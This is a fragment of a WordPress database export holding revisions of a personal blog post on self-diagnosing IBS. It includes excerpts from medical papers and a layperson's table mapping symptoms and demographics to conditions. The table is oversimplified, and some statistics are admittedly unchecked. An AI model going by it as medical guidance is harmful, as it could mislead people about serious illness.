a tremor</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Giardiasis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.pt.2009.11.010\">Sci-Hub | Giardiasis – why do the symptoms sometimes never stop? | 10.1016/j.pt.2009.11.010 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Transmission of Giardia is via the faecal–oral route, either indirectly through contaminated water or food, or directly from person to person.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Giardia infection is usually associated with diarrhoea, but can be either asymptomatic or responsible for a broad clinical spectrum, with symptoms ranging from acute to chronic [4]; diarrhoea can occur with or without malabsorption syndrome; there can be nausea, vomiting, and weight loss [5]. Occasionally, Giardia infection can be associated with pruritis and urticaria [6], uveitis [7], sensitisation towards food antigens [8,9] and synovitis [10]. Children might also suffer more serious consequences, including retarded growth and development [11,12], poor cognitive function</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Carcinoid syndrome</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803\">Refractory carcinoid syndrome: a review of treatment options - Rachel P. Riechelmann, Allan A. Pereira, Juliana F. M. Rego, Frederico P. Costa, 2017 (sagepub.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CSy is defined as symptoms and signs of overproduction of serotonin produced by neuroendocrine tumor, such as flushing, diarrhea, dyspnea, bronchospasm, palpitation, and eventually, symptoms associated with right-sided heart failure resulting from carcinoid heart [<a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803#\">Bhattacharyya <em>et al.</em> 2007</a>].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Microscopic colitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2016.477\"><strong>Sci-Hub | Diagnosis and Management of Microscopic Colitis | 10.1038/ajg.2016.477 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;The most common symptom in patients with microscopic colitis (MC) is chronic or intermittent watery diarrhea, ranging in severity from mild to severe with dehydration and electrolyte abnormalities. Other symptoms are commonly present, including abdominal pain, weight loss, and arthralgias, each present in up to half of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the presence or absence of certain clinical features, such as older age, female sex, use of certain medications or recent initiation of any medication, weight loss, nocturnal stools, and shorter duration of diarrhea, may identify patients at higher or lower risk of having MC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Small intestinal bacterial overgrowth</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6884350/\"><strong>Small Intestinal Bacterial Overgrowth: Clinical Features and Therapeutic Management (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although abdominal bloating, gas, distension, and diarrhea are common symptoms, they do not predict positive diagnosis. Predisposing factors include proton-pump inhibitors, opioids, gastric bypass, colectomy, and dysmotility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Eosinophilic gastroenteritis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6556468/\"><strong>Eosinophilic gastroenteritis: diagnosis and clinical perspectives (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mucosal EGE is the most common variety, seen in about 57%7 to 100%8,9 of cases, and presents with features of abdominal pain, nausea, vomiting, dyspepsia, diarrhea, malabsorption, or protein-losing enteropathy, which in turn may cause hypoalbuminemia, anemia, and weight loss. Additionally, the occurrence of lower-GI bleeding may imply colonic involvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Celiac disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/\"><strong>Celiac disease: From pathophysiology to treatment (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dermatitis herpetiformis is an inflammatory cutaneous disease, presenting with diffuse, symmetrical, polymorphic lesions consisting of erythema, urticarial plaques, papules, herpetiform vesiculae and blisters followed by erosions, excoriations and hyperpigmentation. It is characterized by typical histopathological and immunopathological findings. Rarely it is diagnosed in childhood but commonly appears in the third decade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the most recognized and widely investigated disorders associated with celiac disease is type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune thyroid disorders</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In patients affected by celiac disease it has been reported an increased prevalence (nearly, 2%-5%) of thyroid disorders (<em>i.e</em>., hyperthyroidism-Graves’s disease or hypothyroidism-Hashimoto’s thyroiditis), diagnosed either before than after the diagnosis of gluten-enteropathy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune hepatitis and other forms of liver involvement</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The involvement of liver is common among patients affected by celiac disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Life-long gluten-free diet</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The current available treatment for celiac disease is life-long gluten-free diet[<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B91\">91</a>-<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B93\">93</a>]. Generally clinical improvement is achieved within a few weeks and the mucosal damage recovers in 1-2 years</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Bile acid malabsorption</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.cgh.2013.04.029\"><strong>Sci-Hub | Methods for Diagnosis of Bile Acid Malabsorption in Clinical Practice | 10.1016/j.cgh.2013.04.029 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Altered concentrations of bile acid (BA) in the colon can cause diarrhea or constipation. More than 25% of patients with irritable bowel syndrome with diarrhea or chronic diarrhea in Western countries have BA malabsorption (BAM)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although BAM is recognized in practice, the most popular current method of diagnosis includes a therapeutic trial of BA binders with symptom improvement; this approach is prevalent and the only resource available in countries like the United States where the noninvasive imaging based on scintigraphic BA retention is unavailable. Unfortunately, in certain disease states, symptoms may only improve with high doses of a BA sequestrant or binder, and the diagnosis of BAM may be missed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Dyssnergic defecation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/\"><strong>Diagnosis and Treatment of Dyssynergic Defecation (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation is more common in women with an estimated female:male ratio of 2.2:1.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> Its prevalence increases with advancing age, particularly after age 65.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> African Americans,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> lower socioeconomic status,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> pregnancy,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b14-jnm-22-423\">14</a> and neurological diseases including Parkinson’s disease and multiple sclerosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The etiology of dyssynergic defecation is unclear. In a prospective survey of 118 patients with dyssynergia, we found that the problem began during childhood in 31% of patients, and after a particular event, such as pregnancy, trauma, or back injury in 29% of patients, and there was no cause in 40% of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Lactose intolerance</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.aafp.org/afp/2002/0501/p1845.html?ref=Guzels.TV\"><strong>Lactose Intolerance - American Family Physician (aafp.org)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Common symptoms include abdominal pain and bloating, excessive flatus, and watery stool following the ingestion of foods containing lactose. Lactase deficiency is present in up to 15 percent of persons of northern European descent, up to 80 percent of blacks and Latinos, and up to 100 percent of American Indians and Asians</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Non celiac gluten sensitivity</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/\"><strong>Recent advances in understanding non-celiac gluten sensitivity (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;In addition to experiencing GI symptoms, patients with NCGS most often experience a complex of extra-intestinal symptoms, including a “foggy mind”, which is described as an inability to concentrate, reduction of mnemonic capabilities, and lack of well-being as well as tiredness, headache, anxiety, numbness, joint/muscle pain, and skin rash/dermatitis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to self-reported data, the prevalence rate of NCGS ranges between 0.5% and 13% in the general population <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>– <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-5\">5</a>, and prevalence is higher in women <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-3\">3</a>, teenagers, and patients in the third to fourth decade of life <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-2\">2</a>, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/#ref-4\">4</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Helicobacter pylori</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3925853/\"><strong>A review of Helicobacter pylori diagnosis, treatment, and methods to detect eradication (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>H. pylori</em> infection affects nearly half of the world’s population. In developing countries, the prevalence of infection is as high as 90%, whereas in developed countries, excluding Japan, the prevalence is below 40%</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Today, the involvement of H. pylori in active chronic gastritis, its association with gastroduodenal ulcer, and its well-accepted role as a risk factor for the development of gastric cancer are well documented[68].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cedars-sinai.org/health-library/diseases-and-conditions/g/gastritis.html\">Gastritis | Cedars-Sinai (cedars-sinai.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Stomach upset or pain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belching and hiccups</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Belly (abdominal) bleeding</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nausea and vomiting</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Feeling of fullness or burning in your stomach</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loss of appetite</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Blood in your vomit or stool. This is a sign that your stomach lining may be bleeding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Helpful info from Wikipedia that I didn’t feel like checking</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Causes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><li>Neurological/psychiatric: A study of 97,593 individuals with IBS identified comorbidities such as headache, fibromyalgia, and depression.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-79\"><sup>[79]</sup></a> IBS occurs in 51% of people with chronic fatigue syndrome and 49% of people with fibromyalgia, and psychiatric disorders occur in 94% of people with IBS.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-White2002-10\"><sup>[10]</sup></a></li><li><a href=\"https://en.wikipedia.org/wiki/Channelopathy\">Channelopathy</a> and <a href=\"https://en.wikipedia.org/wiki/Muscular_dystrophy\">muscular dystrophy</a>: IBS and functional GI diseases are comorbidities of genetic channelopathies that cause cardiac conduction defects and neuromuscular dysfunction, and result also in alterations in GI motility, secretion, and sensation.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BEYDER_2016-80\"><sup>[80]</sup></a> Similarly, IBS and FBD are highly prevalent in <a href=\"https://en.wikipedia.org/wiki/Myotonic_dystrophy\">myotonic muscle dystrophies</a>. Digestive symptoms may be the first sign of dystrophic disease and may precede the musculo-skeletal features by up to 10 years</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Epidemiology</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>Canada</td><td>6%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td></td></tr><tr><td>Japan</td><td>10%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>United Kingdom</td><td>8.2%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-EHLIN_2003-152\"><sup>[152]</sup></a>10.5%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-WILSON_2004-153\"><sup>[153]</sup></a></td><td>Ehlin, 2003Wilson, 2004</td><td>Prevalence increased substantially 1970–2004</td></tr><tr><td>United States</td><td>14.1%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-HUNGIN_2005-154\"><sup>[154]</sup></a></td><td>Hungin, 2005</td><td>Most undiagnosed</td></tr><tr><td>United States</td><td>15%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-BOIVIN_2001-150\"><sup>[150]</sup></a></td><td>Boivin, 2001</td><td>Estimate</td></tr><tr><td>Pakistan</td><td>14%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2007-155\"><sup>[155]</sup></a></td><td>Jafri, 2007</td><td>Much more common in 16–30 age range. 56% male, 44% female</td></tr><tr><td>Pakistan</td><td>34%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-JAFRI_2005-156\"><sup>[156]</sup></a></td><td>Jafri, 2005</td><td>College students</td></tr><tr><td>Mexico City</td><td>35%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-SCHMULSON_2005-157\"><sup>[157]</sup></a></td><td>Schmulson, 2006</td><td>n=324. Also measured functional diarrhea and functional vomiting. High rates attributed to \"stress of living in a populated city.\"</td></tr><tr><td>Brazil</td><td>43%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr><tr><td>Mexico</td><td>46%<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-QUIGLEY_2006-151\"><sup>[151]</sup></a></td><td>Quigley, 2006</td><td>Study measured prevalence of GI abdominal pain/cramping</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Gender</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Women are around two to three times more likely to be diagnosed with IBS and four to five times more likely to seek specialty care for it than men.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-158\"><sup>[158</sup></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Studies of females with IBS show symptom severity often fluctuates with the menstrual cycle, suggesting hormonal differences may play a role.<a href=\"https://en.wikipedia.org/wiki/Irritable_bowel_syndrome#cite_note-159\"><sup>[159]</sup></a></p>\n<!-- /wp:paragraph -->','A complete guide to self-diagnosing and self-treating IBS','','inherit','closed','closed','','58-autosave-v1','','','2021-04-18 17:28:50','2021-04-18 17:28:50','',58,'https://trevorklee.com/?p=72',0,'revision','',0),
(73,1,'2021-04-18 17:12:12','2021-04-18 17:12:12','<!-- wp:heading {\"level\":3} -->\n<h3 id=\"ibs-diagnosis-table\">IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR&nbsp;<em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR&nbsp;<em>unexplained weight loss</em>&nbsp;OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em>&nbsp;OR&nbsp;<em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR&nbsp;<em>fever</em>&nbsp;OR&nbsp;<em>unexplained weight loss</em>&nbsp;OR growth retardation</td><td></td><td>Crohn’s disease</td></tr><tr><td>Joint pain OR&nbsp;<em>cold intolerance</em>&nbsp;OR constipationOR depression OR heavy menstrual flow OR unexplained weight gain or&nbsp;<em>fatigue&nbsp;</em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec)&nbsp;</em>OR&nbsp;<em>opioids</em>&nbsp;OR&nbsp;<em>gastric bypass</em>&nbsp;OR&nbsp;<em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR&nbsp;<em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65&nbsp;</em>OR&nbsp;<em>African American</em>&nbsp;OR&nbsp;<em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool&nbsp;<em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or&nbsp;<em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR&nbsp;<em>feeling of fullness or burning in your stomach</em>&nbsp;OR blood in your vomit or stool.</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>Constipation OR diarrhea OR nausea OR&nbsp;<em>a feeling of early fullness</em></td><td></td><td>A motility disorder, like slow transit constipation</td></tr><tr><td></td><td></td><td></td></tr><tr><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td></tr><tr><td><em>Constipation since early childhood</em></td><td></td><td>Hirschsprung’s disease</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain</td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em>&nbsp;OR diarrhea OR&nbsp;<em>shortness of breath</em>&nbsp;OR&nbsp;<em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->','IBS Diagnosis Table','','inherit','closed','closed','','71-revision-v1','','','2021-04-18 17:12:12','2021-04-18 17:12:12','',71,'https://trevorklee.com/?p=73',0,'revision','',0),
(75,1,'2021-04-18 17:14:20','2021-04-18 17:14:20','<!-- wp:paragraph -->\n<p>Wondering if you actually have IBS? Use this self-diagnosis table! Sources and table from <a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">my big IBS post</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"ibs-diagnosis-table\">IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR&nbsp;<em>bright blood in your stool</em></td><td>Obese OR a smoker OR a user of anti-inflammatories/steroids</td><td>Diverticulitis</td></tr><tr><td>Constipation OR diarrhea OR&nbsp;<em>unexplained weight loss</em>&nbsp;OR fatigue</td><td><em>Over the age of 45 (especially over the age of 65)</em>&nbsp;OR&nbsp;<em>have a history of cancer</em></td><td>Colon cancer</td></tr><tr><td><em>Bloody diarrhea</em>&nbsp;</td><td></td><td>Ulcerative colitis</td></tr><tr><td>Diarrhea OR unexplained anemia OR&nbsp;<em>fever</em>&nbsp;OR&nbsp;<em>unexplained weight loss</em>&nbsp;OR growth retardation</td><td></td><td>Crohn’s disease</td></tr><tr><td>Joint pain OR&nbsp;<em>cold intolerance</em>&nbsp;OR constipationOR depression OR heavy menstrual flow OR unexplained weight gain or&nbsp;<em>fatigue&nbsp;</em>OR hair loss</td><td><em>Female</em></td><td>Hypothyroidism</td></tr><tr><td>Diarrhea AND nausea OR vomiting OR weight loss</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>Giardia</td></tr><tr><td>Abdominal bloating OR gas OR&nbsp; distension OR diarrhea</td><td><em>A user of proton pump inhibitors (e.g. Prilosec)&nbsp;</em>OR&nbsp;<em>opioids</em>&nbsp;OR&nbsp;<em>gastric bypass</em>&nbsp;OR&nbsp;<em>colectomy</em></td><td>Small intestinal bacterial overgrowth (SIBO)</td></tr><tr><td>Diarrhea OR bloating OR fatigue OR anemia OR&nbsp;<em>unexplained blisters (dermatitis herpetiformis)</em></td><td><em>Type 1 diabetic</em></td><td>Celiac disease</td></tr><tr><td><em>Diarrhea</em></td><td></td><td>Bile acid malabsorption</td></tr><tr><td><em>Constipation</em></td><td><em>Over 65&nbsp;</em>OR&nbsp;<em>African American</em>&nbsp;OR&nbsp;<em>pregnant/a mother</em></td><td>Dyssnergic defecation</td></tr><tr><td>Abdominal pain and bloating OR gas OR watery stool&nbsp;<em>following the ingestion of foods containing lactose</em></td><td>Black, Latino, or&nbsp;<em>Asian</em></td><td>Lactose intolerance</td></tr><tr><td>Diarrhea OR constipation OR brain fog OR joint/muscle pain, OR skin rash/dermatitis</td><td>Female OR in the third to fourth decade of life</td><td>Non celiac gluten sensitivity</td></tr><tr><td>Nausea and vomiting OR&nbsp;<em>feeling of fullness or burning in your stomach</em>&nbsp;OR blood in your vomit or stool.</td><td><em>In an area with poor water quality or food hygiene standards</em></td><td>H. pylori</td></tr><tr><td>Constipation OR diarrhea OR nausea OR&nbsp;<em>a feeling of early fullness</em></td><td></td><td>A motility disorder, like slow transit constipation</td></tr><tr><td></td><td></td><td></td></tr><tr><td>**RARE CONDITIONS FOLLOW BELOW (you probably don’t have these)**</td></tr><tr><td><em>Constipation since early childhood</em></td><td></td><td>Hirschsprung’s disease</td></tr><tr><td>Chronic or intermittent watery diarrhea OR unexplained weight loss, OR joint pain</td><td>Over 65 OR female</td><td>Microscopic colitis</td></tr><tr><td><em>Flushing</em>&nbsp;OR diarrhea OR&nbsp;<em>shortness of breath</em>&nbsp;OR&nbsp;<em>palpitation</em></td><td></td><td>Carcinoid syndrome (part of carcinoid tumors)</td></tr><tr><td>Nausea OR vomiting, OR diarrhea OR anemia OR weight loss</td><td></td><td>Eosinophilic gastroenteritis</td></tr></tbody></table></figure>\n<!-- /wp:table -->','IBS Diagnosis Table','','inherit','closed','closed','','71-revision-v1','','','2021-04-18 17:14:20','2021-04-18 17:14:20','',71,'https://trevorklee.com/?p=75',0,'revision','',0),
(77,1,'2021-04-18 17:27:02','2021-04-18 17:27:02','<!-- wp:simpletoc/toc {\"max_level\":3} /-->\n\n<!-- wp:heading -->\n<h2>Introduction</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I went through my own bout with IBS some years ago. It was really frustrating. It seemed to come out of nowhere. I spent a lot of money on a test for SIBO to see if that was the problem, but didn’t see any results. Then, it briefly seemed like I was cured, only to randomly become sensitive to gluten for a year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dealing with IBS was especially frustrating because of the unhelpful advice from doctors, family, and friends. Doctors would tell me it was all in my head. My family thought I had Crohn\'s. My friends just would get weirded out by the things I refused to eat, and try to nag me into trying just one muffin/beer/hot wing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A few years ago, my IBS disappeared as suddenly as it came. Now, I’m mostly ok. But I still remember how frustrating and life-impairing IBS was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This article is what I wish I had back when I first got IBS. It’s not just another blog spam on the front page of Google, with the 5 things that literally every other blog spam tells you about IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a comprehensive guide to making sure you have IBS and not another disease, and then treating IBS. And I mean comprehensive. If I missed anything, tell me!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of the article, I list all my sources (and there are a lot!) and what I took from them. I also include my evaluation of the treatment options, as I know that can be an especially challenging thing for IBS patients to do.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re pressed for time, just scroll down and look at the tables. If you’re not, feel free to read everything.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>How can you be sure you have IBS?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>IBS is a diagnosis of exclusion. If you don’t have other conditions that can also cause stomach problems, then you probably have IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most doctors skip straight to diagnosing IBS without thoroughly checking whether you might have these other conditions. That’s unfortunate, because, unlike IBS, some of these other conditions actually have cures. If you’re diagnosed correctly, your IBS could be solved a lot quicker.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, some of these conditions are much more serious than IBS. So, you definitely want to make sure you don’t have these other conditions, because, if you do, you’ll need to start treating them ASAP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a pretty exhaustive list of conditions that mimic IBS. Each row is a separate condition. Use it to potentially diagnose yourself. You’ll need laboratory tests to confirm whether you’re correct, but at least you’ll be able to advocate for yourself at the doctor’s office.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note that the more of these conditions that you have, the more likely the diagnosis is. So, if you take the first example, an obese smoker on prednisone with constipation is more likely to have diverticulitis than a skinny non-smoker with diarrhea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also, please note that I’ve <em>italicized</em> the most important parts of a diagnosis. For example, unexplained weight loss is a pretty big warning sign for colon cancer and Chron’s. If you just have diarrhea and don’t have unexplained weight loss, neither colon cancer or Crohn\'s are likely (but they’re still possible).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>IBS Diagnosis Table</h3>\n<!-- /wp:heading -->\n\n<!-- wp:table {\"className\":\"is-style-regular\"} -->\n<figure class=\"wp-block-table is-style-regular\"><table><tbody><tr><td><strong>If you have</strong></td><td><strong>Or if you are</strong></td><td><strong>Then you might have</strong></td></tr><tr><td>Bloating OR constipation OR diarrhea OR <em>bright blood in your 